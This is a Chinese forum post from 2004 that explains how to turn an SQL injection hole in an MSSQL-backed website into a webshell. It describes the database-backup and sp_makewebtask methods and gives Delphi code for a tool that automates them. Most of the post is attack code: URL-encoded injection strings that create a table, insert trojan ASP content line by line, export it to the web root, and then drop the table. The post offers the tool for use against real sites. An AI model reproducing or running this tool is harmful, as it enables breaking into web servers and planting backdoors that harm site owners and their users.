QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 2276|回复: 0
打印 上一主题 下一主题

SQL注入得到WEBSHELL

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 00:13 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<>一.通过SQL注入得到WEBSHELL的原理: 0 ?! f( w8 [# |$ q' r$ m7 f
N.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。 $ {' T& e( {* E! ]+ N
分析: N.E.V.E.R利用了MSSQL的备份数据库功能。把数据导出来,设想数据库中有&lt;%%&gt;之类的ASP标实符,导出文件,文件名以.ASP的形式保存。然后文件又保存在WEB的路径下。那么这个导出的ASP文件是不是要去解释&lt;%%&gt; 之内的语句呢?如果数据库中有的表中有&lt;%%&gt;标实符,并且这之中有错误,那么我们导出来生成的ASP文件也会有误。不过,这种机会也不太大。 5 d% p9 J3 `' j8 g" O" K
再来看看CZY的方法吧。
5 n" k+ S/ F/ X( |! q4 qCZY的方法:前面的和N.E.V.E.R的方法基本上差不多。只是后面用到了扩展存储过程——sp_makewebtask。这个扩展存储过程的作用就是:可以把MSSQL数据库中的某个表中的记录导出来,以文件的方法保存起来。这种方法就不会出现什么问题原因在于:我们只去读表中的某个字段中的值。把字段的信息导出来生成文件。这个字段中的值都是我们刚加上的。自己在加入数据的时候,先调试一下,没有问题在加入进去,导出来就当然没有问题了。 4 R( N' i, B7 A
以上两位的方法,我都手工测试过。利用SQL注入漏洞,建表,向表中加数据,然后再导出数据,再删除表。都是利用的SQL语句。这里我就不多说了,大家可以看本期的文章。 ( m" s  L9 x4 I" l4 n7 J. u3 o" s
二.利用DELPHI去实现功能的前言
1 d2 w/ S: `* t" a原理都分析过了。我们怎么利用DELPHI来实现他们的手工操作呢?其实方法是非常简单的。DELPHI提供了一个NMHTTP控件。我们利用这个控件就可以向某个特定的URL提交参数。然后实现我们的自动注射功能。我马上要为大家讲解的这个程序,有一个特点。也可以说成是一个缺陷吧。程序不去自动猜解WEB的绝对路径。程序不去判断当前连接SQL数据库的当前账号的权限。我为什么要这么做?因为得到这两者用SQL注入是非常难得到的。所以,我们程序发送命令就不会考虑太多。成不成功你执行完自己去看看生成没有就OK了。
( v# [- S9 N6 G+ n# g& t
6 O7 |, c  F! h% P3 M2 q  k三.如何利用DELPHI得到WEBSHELL。
. V5 p8 M7 R: h# x6 e9 \4 H程序中用到的值。我们这里来看看有哪些:URL路径,远程WEB绝对路径(通过其他方法得到,你一定有办法的) 采用什么方法去得到WEBSHELL(也就是两位的方法,你选哪一种)。我们同时要求点击一个按纽开始执行命令,和点击一个按纽来终止命今。最后就是新建的表的名称,以及表的字段名称,再次就是字段的类型。前面的我们在程序中放上输入,选择之类的控件就行了。后面的我们设一个选项按纽点按纽弹出相应设置。再把这些相应的设置用一个RECORD来保存。
" R8 A8 N$ o! M- d# a/ h: W) O( |% d! k首先,我们在DIT控件。名称分别是:UrlET //URL路径的输入框、ShellPathET //远程木马的位置、CustomBdoorET//自定义木马的位置。再放两个RadioButton用来选择采用什么方式获取WEBSHELL。CAPTION分别取名为: BackUP DataBase 和 WEB作业。然后再放三个SpeedButtion按纽。名称分别是:设置,开始,停止, 最后再放一个MEMO控件。来显示当前添加的信息。到此界面上的工作就做完了。界面如图:
. D( o9 Z" V1 ~* U% ~( Y8 y0 {) ]1 n
1 A( @, d: z: O  F  L

! P$ r4 y% Z# |- n0 J现在来写程序了。
+ v8 ~( i" e0 r- ?$ _" s$ h+ T我们首先定义一个RECORD。
( w9 K0 O/ y$ q1 N6 E如下:
6 p7 g* f1 `, T1 y: iType 2 q2 K" [/ _( A0 `) N, Y
SetOption = Record
" }! |0 {- q; }TableName : String; //用来保存要创建的表名.
. P7 _" g; Y6 W' g, P+ L" z* J7 wFieldName : String; //用来保存要创建的字段名.
' H% V( _) s: m: V' O# H# dFiledType : String; //用来保存创建的字段名类型. $ C- Q7 S* L/ s2 C
End; 6 ^9 `# C1 h0 K
FiledType字段类型的值是以下类型的一种:
# R7 o% h  f/ B- z( {' LBigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint % F2 N1 D; b& I& L4 g: ~. e+ P
Smallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar 这些都是MSSQL字段类型值. ( R2 {# v# z' ?' D! U/ Y3 e7 l
再定义一个全局变量:
3 F5 O7 t) H# _" ?Var
8 l) H# j, ]% ?* p. eISStop : Boolean; //用来判断用户是否按下了停止按纽.
2 i% m4 {- U3 S5 }6 _% F- ?% N好了。在表单创建的过程中,我们为RECORD记录输入默认值.
. R7 I1 I# p9 T2 v+ v代码如下: % e& ?  P8 F. c5 T( u
procedure TMainForm.FormCreate(Sender: TObject); & g2 d9 p/ F- J5 U+ s5 ]! D! Q" a/ Q
begin ! y* k: F; x! r! e& t& P! ^
sOption.TableName :='cyfd'
" Q. U2 S8 K' S2 Q( i& B2 vsOption.FieldName :='gmemo' 4 s% I( C1 G0 R3 X3 l+ d5 E
sOption.FiledType :='text'
/ j$ n) d: u1 ^0 jend;
- K" F# V* ^$ h5 C4 Z2 k现在我们添加开始执行命令的代码。 ( _2 S. J, r' p" V: W
先定义BDoorList 为TstringList。主要目的就是把木马的内容加进来.
9 d- `# n" ^; ?) \5 Q% u创建两个变量来保存urlET.和ShellPathET的值.方便程序简化调用. 4 I& e3 b' ]; K- F5 u- U& p
在程序开始执行前,我们得先检查一下用户的输入 6 W% D) K3 M# O- E! T
定义一个Checkinput函数. ) L/ ^  ]2 N8 n) E  z: z. Z. A$ X
如下: 6 J4 r/ f& x2 k) x2 u+ r
Function CheckInput : Boolean;
/ p, G" ^9 A- O7 K8 ?Begin
3 @) J7 z+ t5 O) dResult := False; & Q( H8 q5 T/ F: x8 ^
if Trim(urlet.Text) = '' then ; B; v6 M, l) V# F' s  {
Begin . u' c% l' ?+ b3 A9 I, J
Application.MessageBox('请输入URL地址!','提示',mb_ok+mb_iconinformation); : `4 O  l, b0 Q- f. n
Exit;
: R9 K0 X! R: O/ S  y) {$ ZEnd;
8 g+ e  j. S0 Hif Trim(ShellPathET.Text) = '' then + ^- ]7 T9 f8 Z0 {3 S
Begin 5 H' o* ]$ `* H$ ~; Y- n
Application.MessageBox('请输入文件保存地址!','提示',mb_ok+mb_iconinformation); / F4 i7 D/ f1 b4 o8 Z: }7 i
Exit;
. V: A% c9 b) Y3 k! {2 uEnd; ' Z4 i; y4 n1 ^* o3 h  f% t: g
IF DefBDoor.Checked then
/ K+ h$ y% U5 b$ e2 zBegin " d' R- \, U) ?+ E+ e, [9 X* f6 T
if Not FileExists(extractfilepath(Application.ExeName)+'默认木马.txt') then
/ e% Y9 D0 v2 w9 t. c; }0 m4 mBegin
0 a6 b& G2 k+ j1 zApplication.MessageBox('没有找到 [默认木马.txt] 文件!','提示',mb_ok+mb_iconinformation); " N$ u7 \3 \% p+ m  v
Exit; . E1 z3 S: c0 S9 j, x1 L4 |. X6 q
End;
9 r/ V& b: [+ O# `End 7 k/ K" v9 c3 v
Else + p( h' [/ }8 o$ N! y; W
if Not FileExists(CustomBdoorET.Text) then
. P4 N  S+ D4 |- k- QBegin
% y: V7 D# R# QApplication.MessageBox('没有找到所选的木马文件!','提示',mb_ok+mb_iconinformation);
# F* k4 q' `& _! |/ \& @Exit; " v+ \' B6 b) f/ S" h5 x' K
End;
! W; l1 M5 t3 {) MResult := True; ) l0 H8 n* G9 ~
End;
; F, s) d' z$ A1 J& w8 U) e在最开始加入:
- s+ I7 R7 z. v; ]4 G/ \& [5 K( h7 qIF Not CheckInput then Exit; //如果输入不合法就退出过程.
# Y. u# j$ K7 q, Y8 y好了,如果用户输入没什么错,我们就来下面的代码。
$ ~% J9 n/ I0 |* E0 B# z0 c9 A" {首先我们把IsStop设为假。创建BdoorList。 # w' c* y0 w! _+ n6 ]
BDoorList := TstringList.Create;
- w4 C5 U' i+ ~再加木马内容到BDoorlist.
2 i" e2 z+ q& d4 DBDoorList.LoadFromFile(CustomBdoorET.text);
1 p  b6 V2 G8 @2 L% D$ y好了,在这里我还要给大家说一下:用NMHTTP提交数据的时候.要把输入的一些特别符号转达成编码。我们这里要把空格和%符号替换成相应的编码分别是:%20和%25,不然.程序加不进数据。
+ [. c- B! ~# v! Y代码如下: + b, Q$ n# w1 s. _8 ~. o9 d- K3 Z
BDoorList.Text:=StringReplace(BDoorList.Text,'%','%25',[rfReplaceAll]);
8 n* U( x; @/ h) T* C6 Y/ bBDoorList.Text:=StringReplace(BDoorList.Text,' ','%20',[rfReplaceAll]);
& s, V. G% K) N) ~$ @) d  I接下来.我们就提交建表的功能了. " `  f& d! W* H# R( O8 W+ x3 @
Memo.Lines.Add('建表...'); , f6 i1 O" ]+ u3 H$ [
Memo.Lines.Add(''); NMHttp.Get(Url+'CREATE%20TABLE%20[dbo].['+sOption.TableName+']%20(['+sOption.FieldName+']%20['+sOption.FiledType+']);');
: w5 F. r4 m7 s/ ]这样我们就创建了一个表。然后.我们向表中加记录: ) k% D7 s3 N$ t& ?7 h
代码如下: ) a( i) ^# Q. u0 U  e
Memo.Lines.Add('加数据...');
8 Q) t3 F' v$ ]0 D! x* e9 _Memo.Lines.Add('');
8 o' E& p. q* ^3 ]9 @" Q( z9 s% |For i:=0 to BDoorList.Count-1 do //这里用一个循环把木马的内容加进表中去. 5 V% M2 j% k/ a; o# Q# c
Begin
$ X6 i+ N+ J0 }+ P. e& y+ FIF IsStop then //这里如果点了停止按纽程序将终止任务. $ G/ _) K; D! @. u9 f
Begin
! M/ |/ ]+ ]/ J& Q$ w4 {% xBDoorList.Free; , K; h( p; b& f7 q4 O
Exit;
# F' M8 h# q) ~5 t4 Y. s% }End; NMhttp.Get(Url+'Insert%20into%20'+sOption.TableName+'%20('+sOption.FieldName+')%20values%20('''+BDoorList.Strings+''');'); - l! n/ `3 r+ z, A
Memo.Lines.Add('Add Line '+Inttostr(i+1)); 2 V  M' f6 s; L7 a! b5 o: C
End;
# R+ D$ ]5 Z" f0 d6 p, f现在就是导出数据生成木马了. . u* Y/ r0 _, E" J7 u( v
Memo.Lines.Add('导出数据...');
4 q7 p0 m, C9 x+ @Memo.Lines.Add(''); 3 }: t1 b; D2 X
IF BKData.Checked then //如果选中采用备份数据就执行下面的命令.   y" M4 g. U8 N2 m0 ^
NMhttp.Get(Url+'declare%20@a%20sysname;select%20@a=db_name();backup%20database%20@a%20to%20disk='''+ShellPath+'''') 4 {5 z9 P( s# _9 H  n" X7 o: }
Else //如果是用WEB作业的形式. NMhttp.Get(Url+'EXECUTE%20sp_makewebtask%20@outputfile='''+ShellPath+''',@query='''+'select%20'+sOption.FieldName+'%20from%20'+sOption.TableName+''''); # d2 H1 e  D9 s+ A! n
我们再删除刚建的表。NMHttp.Get(Url+'drop%20TABLE%20[dbo].['+sOption.TableName+'];');
1 B3 k& v; v8 ?0 k这样我们的任务就完成了。下面来释放变量.
, G+ r% j; b+ \6 w* fBDoorList.Free; ' S) u7 L2 O$ t
再来向停止按纽中添加点击事件: ) e6 \5 S& W1 |$ v9 N( Z0 C
一行代码就行了:IsStop := True;
4 B" s( o9 y6 [2 W- s- H) G到这里主表单的内容基本上完成了。现在我们来看设置表单中怎么来设置.其实非常简单.主表单中已经定义了一个RECORD.我们只需要将用户输入的新值,再次赋给RECORD就行了。
, I% a, ^) e, T3 Z9 ?# r设置表单中先引用主表单.然后在界面中添加二个EDIT控件:
; L  \, [; b( x: k8 x1 u- V# z第一个名称为:TableNameET //保用户输入的存临时表 # M& y) i& y: p* z# U5 j
第二个名称为:FieldNameET //用来保存用户输入的字段名.
' }6 X* Q3 r; B+ T1 k. t# w再添加一个Combobox //用来保存用户所选的字段类型值.
5 P+ r/ d1 R* w) ?名称:FieldTypeCombox & M. F! j2 ?$ y+ E& Q& W% m; r% U
OK.界面如下: 9 o& h& E: X% J# e5 f: ?" g

5 U& n' o9 ~5 d3 B代码如下:
# [* O  T/ ^$ I- O" U+ V, _1 _+ H定义一个过程,主表单好调用这个设置。
7 N& m( f9 P  y+ u" h6 {4 RProcedure ShowSet;
! f; |) ^8 L/ ?6 c! ?0 GBegin % a! I- L3 l7 O( k& b
Application.CreateForm(TSetForm,SetForm); 5 `! r* S8 J  n8 k2 e
With SetForm do
4 Z7 J, y0 j9 B8 S5 s- J6 _Begin 7 a2 ], H( E' y( @1 [! T
TableNameET.Text := sOption.TableName;
$ \9 a' ]* K0 n2 S1 fFieldNameET.Text := sOption.FieldName;
% d8 P/ k# G7 A! P9 m4 ^- I2 CFieldTypeCombox.ItemIndex := FieldTypeCombox.Items.IndexOf(sOption.FiledType); & N+ R* M+ w' n' W2 @; S
End; 1 ^& Y" Q  ]* t% b- b# e
SetForm.ShowModal;
9 Y! k9 H' S, [- R# i& BSetForm.Free; , B9 s- c5 T6 q7 r
End;
3 ?6 `3 s) x$ T' C) y4 i9 h在主表单中设置的点击事件中添加上showset过程就行了。
& N5 Z5 ~+ S9 l% f下面就是点击确定的代码了。 * ?; ^2 ^9 g4 b+ O
IF CheckInput then 9 u& o+ ~4 a- J
Begin * c7 c9 z& }: l! K+ \2 ~& t) z
sOption.TableName := Trim(TableNameET.Text); //把用户的输入赋给RECORD.
4 e( m6 G- N, b4 k0 dsOption.FieldName := Trim(FieldNameET.Text);
4 p+ W$ f4 s% BsOption.FiledType := FieldTypeCombox.Text;
3 l: o" m6 A8 V( E8 y" j' W) X1 TClose; / ?% e' o  A1 K5 j
End;
  c  n' r0 Y5 p/ p这里又有一个CheckInput主要就是检查用户输入的值是不是合法。
4 H& k8 S, A: [3 V- H+ H" h代码如下: % ]/ J& }; Q# M1 N9 y+ ]$ k7 b# P6 T
Function CheckInput : Boolean; 2 o( i0 m1 P" L
Begin
5 t* S% Q' [6 DResult := False;
! @7 O& h7 t* ?IF Trim(TableNameET.Text)='' then
5 w+ c2 ?8 \- Z, |- _Begin ' c5 z7 q, A0 X" M+ f
Application.MessageBox('请输入临时表名!','提示',mb_ok+mb_iconinformation);
. [( |! e( S" O2 MExit;
# D& {3 @6 }$ H# t* rEnd;
7 z9 u8 ^: r- wIF Trim(FieldNameET.Text)='' then
3 y1 F' R' N7 G3 r- HBegin : s) o' q* G6 d8 U$ z" |/ N
Application.MessageBox('请输入字段名!','提示',mb_ok+mb_iconinformation);
2 O/ F9 ^/ S; \/ DExit; , K- U8 ?/ v& `6 _6 p8 j9 T
End;
, |- \/ }# g" T0 [* i  X  SResult := True;
8 F+ |8 Y/ W$ j5 e: e" d+ GEnd; ; G& N. |; E& l
到这里程序就完了。</P>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2024-5-13 13:20 , Processed in 0.403742 second(s), 51 queries .

回顶部